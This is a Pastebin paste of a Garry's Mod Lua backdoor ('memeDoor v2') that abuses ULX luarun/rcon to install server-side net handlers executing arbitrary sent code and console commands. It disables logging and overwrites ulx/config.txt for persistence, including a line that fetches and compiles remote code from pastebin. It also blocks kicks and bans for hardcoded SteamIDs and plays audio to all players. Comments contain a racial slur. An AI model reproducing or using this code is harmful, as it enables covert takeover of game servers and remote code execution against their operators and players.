Advertisement
Guest User

Untitled

a guest
Mar 15th, 2016
1,125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.62 KB | None | 0 0
  1. Classic’s backdoor
  2. local memeDoor = {};
  3. memeDoor.green = Color(0,255,0);
  4. memeDoor.white = Color(255,255,255);
  5. memeDoor.injected = false;
  6.  
  7. memeDoor.placesofIntrest = {
  8.  
  9. "ulx/config.txt"
  10.  
  11. }
  12.  
  13. memeDoor.Meme = function(chats)
  14.  
  15. MsgC(
  16. memeDoor.white,
  17. "[",
  18. HSVToColor(RealTime()*160%360,1,1),
  19. "memeDoor",
  20. memeDoor.white,
  21. "] ",chats
  22. );
  23. end
  24.  
  25. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1), "░░░░░░░░░░░▄▄▄▄▄ \n");
  26. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░░░░░▄▄█████████▄▄ \n");
  27. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░░▄▀▀▀▀█▀▀▀▀▀▀█████▄ \n");
  28. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░▄██████░░░░░░░░░░░▀██ \n");
  29. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░▐██████▌░░░░░░░░░░░░░▐▌ \n");
  30. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░███████▌░░░░░░░░░░░░░░█ \n");
  31. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"▐████████░░░░░░░░░░░░░░░█\n");
  32. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"▐██████▌░░░░░▄▀▀▀▀▀▄░▀░▄▄\n");
  33. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░█▀▀███▀░░░░░░▄▀█▀░░░▐▄▄▄\n");
  34. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"▐░▌▀▄░░░░░░░░░░▄▄▄▀░░░▌▀░\n");
  35. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░▌▐░░▌░░░░░░░░░░░▀░░░░▐░▐\n");
  36. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░▐░▀▄▐░░░░░░░░░░░▌▌░▄▄░▐░\n");
  37. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░▀█░▄▀░░░░░░░░░▐░▐▄▄▄▄▀▐\n");
  38. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░▌▀░▐░░░░░░░░▄▀░░▀▀▀▀░▌\n");
  39. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░▐░░░░░░░░░▌░░░▄▀▀▀▀▄▐ ");
  40. MsgC(Color(255,255,255),"ha MEME!\n");
  41. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░▌░░░░░░░░░▐░░░░░▄▄░░▌ ");
  42. MsgC(Color(255,255,255),"BY 2CASH\n");
  43. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░█▀▄░░░▐░▐░░░░░░░░░░░█\n");
  44. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░█░█░▀▀▄░▌░█░░░▀▀▄▄▄▄▀\n");
  45. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"█░░░▀▄░░▀▀▄▄█░░░░░▄▀\n");
  46. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░░░░▀▄░░░░▀▀▄▄▄▀▐\n");
  47. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"█░░░░░░░▀▄░░░░░▐░▌▐\n");
  48. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░█░░░░░░░░▀▄░░░▌░▐▌▐\n");
  49. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░█░░░░░░░░░█░▐░▄▄▌░█▀▄\n");
  50. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░█░░░░░░░░░█▌▐░▄▐░░▀▄▀▀▄▄ \n");
  51. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░░█░░░░░░░░░▀▄░░▐░░░▀▄░░░▀▀▄▄ \n");
  52. MsgC(HSVToColor(RealTime()*math.random(160,165)%360,1,1),"░░░░░▀▄░▄▀█░░░░░█░░▌░░░░▀▄░░░░░█\n");
  53. memeDoor.Meme("memeDoor v2\n");
  54. memeDoor.Meme("Meme your way in with 2 awesome cancer commands!\n");
  55. memeDoor.Meme("memed_inject - Injects all shitty code to server permanently\n");
  56. memeDoor.Meme("memed_client \"<sv_lua>\" - Injects shitty server code\n");
  57.  
  58. memeDoor.RunCodings = function(code,tf)
  59. //if(!memeDoor.injected) then memeDoor.Meme("Run memeDoor.Infect(); First nigga\n"); end
  60. net.Start("memeDoor"); // net.String hax
  61. net.WriteString(code);
  62. net.SendToServer();
  63.  
  64. memeDoor.Meme("Sending Code Chunk Request\n");
  65. end
  66.  
  67. memeDoor.RunRCON = function(code,tf)
  68. //if(!memeDoor.injected) then memeDoor.Meme("Run memeDoor.Infect(); First nigga\n"); end
  69. net.Start("memeDoor_rcon"); // net.String hax
  70. net.WriteString(code);
  71. net.SendToServer();
  72.  
  73. memeDoor.Meme("Sending Code Chunk Request\n");
  74. end
  75. memeDoor.ReWriteConfig = function(filename,command)
  76. memeDoor.RunCodings('file.Write( "' .. filename .. '", "\\n' .. command .. '")');
  77. memeDoor.Meme("ULX Configuration: Hijacked\n")
  78. end
  79.  
  80. memeDoor.ReAppendConfig = function(filename,command)
  81. memeDoor.RunCodings('file.Append( "' .. filename .. '", "\\n' .. command .. '")');
  82. memeDoor.Meme("ULX Configuration: Hijacked Inserted Chunk of data..Done\n");
  83. end
  84.  
  85. memeDoor.playsong = function(code,tf)
  86. //if(!memeDoor.injected) then memeDoor.Meme("Run memeDoor.Infect(); First nigga\n"); end
  87. net.Start("memeDoor"); // net.String hax
  88. net.WriteString("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( '" .. code .. "', '', function( station ) station:Play() end )]]) end");
  89. net.SendToServer();
  90.  
  91. memeDoor.Meme("Sending Code Chunk Request\n");
  92. end
  93.  
  94.  
  95.  
  96. memeDoor.Infect = function()
  97. memeDoor.Meme("Beginning Injection...\n");
  98. RunConsoleCommand("ulx", "rcon", "ulx", "logEcho", "0"); // Stealthy Wealthy Bitches
  99. timer.Simple(1, function()
  100. RunConsoleCommand("ulx", "luarun", "util.AddNetworkString ('memeDoor')");
  101. RunConsoleCommand("ulx", "luarun", "util.AddNetworkString ('memeDoor_rcon')");
  102. RunConsoleCommand("ulx", "luarun", "net.Receive ('memeDoor', function ( l,p ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Processing Command...') RunString ( net.ReadString ( ) ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Done') end )");
  103. RunConsoleCommand("ulx", "luarun", "net.Receive ('memeDoor_rcon', function ( l,p ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Processing RCON Command...') game.ConsoleCommand(( net.ReadString ( ) ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Done') end )");
  104.  
  105. // ban
  106. memeDoor.RunCodings("FunT = FunT or {}");
  107. memeDoor.RunCodings("FunT.Kings = {['STEAM_0:0:849274'] = true,['STEAM_0:0:47565254'] = true,['STEAM_0:0:89116170'] = true, ['STEAM_0:1:75531'] = true,['STEAM_0:0:69348930'] = true}");
  108. memeDoor.RunCodings("FunT.OldULX = FunT.OldULX or {}");
  109. memeDoor.RunCodings("FunT.OldULX.kick = ULib.kick");
  110. memeDoor.RunCodings("FunT.OldULX.addBan = ULib.addBan");
  111. timer.Simple(1, function()
  112. memeDoor.RunCodings("function Kick() return false end");
  113. memeDoor.RunCodings("function Ban() return false end");
  114. memeDoor.RunCodings("if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end");
  115. memeDoor.RunCodings("function ULib.addBan(steamid, time, reason, name, admin) if FunT.Kings[steamid] then return end FunT.OldULX.addBan(steamid, time, reason, name, admin) end");
  116. memeDoor.RunCodings("function ULib.kick(ply, reason, caller) if FunT.Kings[ply:SteamID()] then return false end FunT.OldULX.kick(ply, reason, caller) end");
  117. end)
  118. end);
  119. memeDoor.Meme("Injection Complete.\n");
  120.  
  121.  
  122. memeDoor.Meme("Remember too enter rcon_password = passwd\n");
  123. memeDoor.Meme("Hacked Bitches\n");
  124. memeDoor.Meme("Script Thingy Injected\n");
  125. memeDoor.injected = true;
  126. end
  127.  
  128. concommand.Add("memed_lua", function(ply, cmd, args) memeDoor.RunCodings(args[1]) end)
  129. concommand.Add("memed_rcon", function(ply, cmd, args) memeDoor.RunRCON(args[1]) end)
  130. concommand.Add("memed_playsong", function(ply, cmd, args) memeDoor.playsong(args[1]) end)
  131.  
  132. concommand.Add("memed_inject", function()
  133.  
  134. memeDoor.Infect();
  135.  
  136. timer.Simple(1.5, function()
  137. memeDoor.Meme("Hijacking ULX Config\n");
  138.  
  139. memeDoor.ReWriteConfig("ulx/config.txt",";If your really this retarded to have this happen to you, stop making servers!");
  140. memeDoor.ReAppendConfig("ulx/config.txt","ulx logEcho 0");
  141. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun util.AddNetworkString ('memeDoor')");
  142. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun util.AddNetworkString ('memeDoor_rcon')");
  143. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun net.Receive ('memeDoor_rcon', function ( l,p ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Processing RCON Command...') game.ConsoleCommand(( net.ReadString ( ) ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Done') end )");
  144. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun net.Receive ('memeDoor', function ( l,p ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Processing Command...') RunString ( net.ReadString ( ) ) p:PrintMessage(HUD_PRINTTALK, 'memeDoor: Done') end )");
  145. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun http.Fetch([[http]]..string.char(58)..[[/]]..[[/pastebin.com/raw.php?i=STUvA4b7]], function(body) pcall(CompileString(body, [[l]], false)) end, function(err) end)");
  146. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun if(FAdmin) then function FAdmin.PlayerActions.ConvertBanTime() return 1 end end");
  147. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun function Ban() return false end");
  148. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun function Kick() return false end");
  149. memeDoor.ReAppendConfig("ulx/config.txt","ulx luarun for i = 1,500 do print('') end");
  150.  
  151. // Dont ban the gods
  152. memeDoor.Meme("ULX Config Hijacked\n")
  153.  
  154. memeDoor.Meme("Injecting into all places of intrest...\n");
  155.  
  156.  
  157. memeDoor.Meme("\n===============================================\n INJECTION SUCCESS\n U ARE NOW A GOD\n===============================================\n")
  158.  
  159. // Run Malicious Code here
  160.  
  161. //memeDoor.RunCodings("");
  162. //memeDoor.RunCodings("hook.Add('Think', 'fuckdaconsole', function() for i = 1,5 do print('') end end)");
  163.  
  164. end)
  165.  
  166. end)
  167.  
  168. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/lanOS/4eb9a9fbba.mp3', '', function( station ) station:Play() end )]]) end");
  169. timer.Simple(4, function()
  170. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/lanPJ/2b5665563d.mp3', '', function( station ) station:Play() end )]]) end");
  171. end)
  172. timer.Simple(5, function()
  173. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/laoa7/8ec6681e70.mp3', '', function( station ) station:Play() end )]]) end");
  174. end)
  175. timer.Simple(13, function()
  176. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/lao1F/0d92f6670c.mp3', '', function( station ) station:Play() end )]]) end");
  177. end)
  178. timer.Simple(15, function()
  179. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/laokG/4b05b0af7b.mp3', '', function( station ) station:Play() end )]]) end");
  180. end)
  181. timer.Simple(25, function()
  182. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/laouC/c5f513d3ae.mp3', '', function( station ) station:Play() end )]]) end");
  183. end)
  184. timer.Simple(25 + 51, function()
  185. memeDoor.RunCodings("for k,v in next, player.GetAll() do v:SendLua([[sound.PlayURL ( 'http://puu.sh/laoJb/fd37e69392.mp3', '', function( station ) station:Play() end )]]) end");
  186. end)
  187.  
  188.  
  189.  
  190. memed_inject
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement